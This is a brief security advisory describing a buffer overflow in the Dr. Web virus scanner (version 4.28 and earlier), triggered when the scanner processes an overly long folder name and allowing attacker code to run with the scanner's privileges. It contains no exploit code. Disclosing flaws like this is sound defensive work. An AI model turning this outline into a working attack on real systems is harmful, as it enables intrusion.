A buffer overflow vulnerability has been reported for Dr. Web virus scanner. The vulnerability is due to insufficient bounds checking when processing folder names.
An attacker is able to exploit this vulnerability by creating a malicious folder name of excessive length. When a virus scan is initiated, processing the folder name will trigger the buffer overflow condition. Successful exploitation of this issue will result in the execution of attacker-supplied code with the privileges of the Dr. Web virus scanner process.
This vulnerability has been reported for Dr.Web version 4.28 and earlier.
